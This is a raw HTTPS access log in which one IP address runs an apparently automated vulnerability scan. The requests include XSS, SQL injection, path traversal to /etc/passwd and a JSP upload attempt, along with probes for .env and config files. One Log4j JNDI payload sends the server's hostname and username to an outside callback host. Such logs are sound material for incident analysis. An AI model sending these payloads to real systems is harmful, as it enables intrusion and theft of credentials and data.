[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/emq.ico HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v4/auth HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //production.ini HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/login.do HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /process/aprocess.php HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /environment.rb HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /e/ViewImg/index.html?url=javascript:alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /EMSWebClient/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /django/settings.py HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /shop.php?search=%22/%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /credentials/config.json HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CHANGELOG.txt HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PRESENTATION/EPSONCONNECT HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cities?country=/../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /emswebclient/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/ HTTP/1.1" 199
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /episerver/cms HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/home HTTP/1.1" 199
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /account/signin?/ HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /core/install.php HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PRESENTATION/HTML/TOP/PRTINFO.HTML HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/composer/installed.json HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /videoseyret.php?id=95%20AND%20(SELECT%204581%20FROM%20(SELECT(SLEEP(6)))NyiX) HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 - - "GET / HTTP/1.0" 362
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.svn/entries HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.vscode/ HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webalizer/ HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user.php?mod=login HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login/login?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/elFinder.version.js HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wiki HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?q=result&searchfor=advancesearch HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mysql.initial.sql HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gui/login HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jquery-file-upload/server/php/ HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.gitignore HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /' HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kb_view_customer.do?sysparm_article=KB00xxxx HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebReport/ReportServer HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php_errors.log HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.hg/hgrc HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.production.local HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CDGServer3/SQL/MYSQL/create_SmartSec_mysql.sql HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/4 HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=admin/views/ajax/autocomplete/user/a HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-compose.production.yml HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fpui/jsp/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth.php HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /reportviewer/ HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /elfinder.html HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(999999999),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)'' HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fcgi-bin/echo HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /elmah.axd HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Dockerfile HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fpui/jsp/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //icons/blank.gif HTTP/1.1" 199
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.bzr/branch/branch.conf HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_darcs/prefs/binaries HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /core/install.php HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIb0AES9e4w8gQ5122s59nxb HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /version HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fpui/loginServlet HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ssh HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user.php?act=login HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /NCFindWeb?service=IPreAlertConfigService&filename HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dompdf/dompdf/www/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmui/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_cat/indices?v HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fsms/fsmsh.dll?FSMSCommand=${jndi:ldap://${:-653}${:-650}.${hostName}.username.d5g6to2hausk1oj0j65g9otnhnj4yu66u.oast.live/vwJSe} HTTP/1.1" 196
[09/Jan/2026:10:54:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /BitKeeper/etc/config HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docs HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/rk.php?id=28&site_id=s2&event1=banner&event2=click&event3=3+%2F+%5B28%5D+%5BBANNER_AREA_FOOTER2%5D+%D0%9F%D0%BE%D1%81%D0%B5%D1%82%D0%B8%D1%82%D0%B5+%D0%B2%D0%B2%D0%BE%D0%B4%D0%BD%D1%83%D1%8E+%D0%B1%D0%B5%D1%81%D0%BF%D0%BB%D0%B0%D1%82%D0%BD%D1%83%D1%8E+%D0%BB%D0%B5%D0%BA%D1%86%D0%B8%D1%8E+APTOS&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.js HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/2 HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authentication HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ESPEasy HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /profile HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_vti_bin/lists.asmx?WSDL HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v2/auth/roles HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 - - "GET / HTTP/1.0" 362
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.1.json HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ReportServer?op=fr_server&cmd=sc_getconnectioninfo HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/ HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_vti_bin/Authentication.asmx?op=Mode HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /casmain.xgi HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /eos/ HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.xz HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /GDSHost/Default.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scripts/logdownload.php?dlfilename=juicyinfo.txt&path=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/environment.rb HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /version HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings/settings.py HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/login.do HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=Admin-Data-down&id=../../Conf/config.php HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /send_order.cgi?parameter=login HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /service.web HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /era/webconsole/ HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /development.log HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.esmtprc HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /request_para.cgi?parameter=wifi_get_5g_host HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /filezilla.xml HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/kibana HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/.gitignore HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/NCNjIP0o.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df&param=action=sql%20sql=%27select%20md5(999999999)%27 HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login/login-page?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sqlite/ HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /firebase-debug.log HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/bc/ui5_ui5/ui2/ushell/shells/abap/FioriLaunchpad.html HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ReportServer HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wfc/ HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /schema.rb HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //prod.ini HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sslvpn_logon.shtml HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.local HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/login HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/bc/ui5_ui5/ui2/ushell/shells/abap/FioriLaunchpad.html?saml2=disabled HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.settings/rules.json?auth=FIREBASE_SECRET HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-compose.staging.yml HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /flexnet/logon.do HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/dologin HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=views/ajax/autocomplete/user/a HTTP/1.1" 3426
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/4 HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MyErrors.log HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download.php?file=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=fetch_posts&stream-id=1&hash=%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/ HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pem/login/pages/login.jsf HTTP/1.1" 196
